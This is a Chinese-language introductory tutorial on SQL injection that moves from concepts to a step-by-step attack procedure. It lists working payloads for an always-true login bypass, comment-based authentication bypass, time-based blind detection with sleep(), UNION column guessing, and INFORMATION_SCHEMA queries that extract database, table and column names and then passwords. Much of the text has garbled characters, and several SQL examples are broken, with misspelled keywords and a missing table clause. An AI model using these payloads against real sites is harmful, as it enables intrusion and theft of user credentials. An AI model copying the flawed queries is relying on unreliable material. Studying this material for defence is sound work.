天天看點

SQL注入介紹

一、SQL注入概念

  1、sql注入是一種将sql代碼添加到輸入參數中

  2、傳遞到sql伺服器解析并執行的一種攻擊手法

  舉例:某個網站的使用者名為name=‘admin’。執行時為select name from users where name=‘admin’

    則輸入時輸入name='' or '1=1'。實則資料庫中執行的是select name from users where name='' or '1=1'則為真,使用者名有效

二、SQL注入的産生

  1、web開發人員無法保證所有的輸入都已經過濾

  2、攻擊者利用發送給sql伺服器的輸入資料構造可執行的sql代碼

  3、資料庫未做相應的安全配置

  對于1和2兩點,攻擊者可以利用get請求、post請求、cookie資訊、相應的http頭資訊等進行資料的輸入而達到攻擊的目的

三、尋找sql注入漏洞

  1、通過構造異常而引發異常,例如:隻支援整型的地方輸入特殊字元來引起sql異常

  2、通過get請求、post請求、cookie資訊、相應的http頭資訊等查找敏感資訊

  3、檢測伺服器中相應的異常

四、進行sql注入攻擊

  1、數字注入。利用資料庫中where判斷語句中數字輸入進行攻擊。

    例如:select name from users where name='' or '1=1'。結果永遠為true

  2、字元串注入。利用mysql的注釋方法進行攻擊

    a、#注釋的方法。

      使用者名的輸入框中輸入:admin'#,密碼任意填寫。

      在資料庫中執行的是:select * from name='admin'#'and password=xxxxx'。#後面的全部注釋掉,判斷的時候隻判斷name=admin

    b、-- hdka方法,兩個橫杠+空格+任意字元。在執行的時候空格後面的所有被當作注釋處理

      使用者名的輸入框中輸入:admin'-- ,密碼任意填寫。

      在資料庫中執行的是:select * from name='admin'-- 'and password=xxxxx'。#後面的全部注釋掉,判斷的時候隻判斷name=admin 

五、注入步驟

  1、找尋注入點

  輸入一個單引号,如果報錯說明文法錯誤則存在注入點

  執行的語句為:select xxx form xxx where x=‘‘’;

  如果單引号沒有反應,可嘗試盲注

  加時間進行嘗試

  X' and sleep(10) --ss'

   sleep中的為時間,10即位10s

  如果浏覽器顯示在加載中說明可能存在注冊點

  2、猜字段

  Sql中數字可以作為字段進行比對

  因為使用union必須前後字段數量相同

  ' union select 1 -- '

  ' union select 1,2 -- '

  ' union select 1,2,3 -- '

  ...

  如果前面語句中隻有兩個字段,但是想要擷取4個其他表中字段值,使用concat

  例:selcet id,name form user where = 輸入框;

  注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --'

  3、使用union獲得其他表資訊

  獲得目前資料庫及使用者資訊

  ' union select version(),database() --'

  資料庫版本資訊

  version()  

  獲得目前資料庫名

  database()  

  查詢所有庫名

  'union select TABLE_SCHEMA from INFORMATION_SCHEMA.tables --'  

  查詢表名

  'union select table_name from INFORMATION_SCHEMA.tables --'

  查詢表名及對應的庫名

  'union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --'

  查詢資料表中的列名

  'union select colunm_name from INFORMATION_SCHEMA.colunms where table_name='xxx表' --'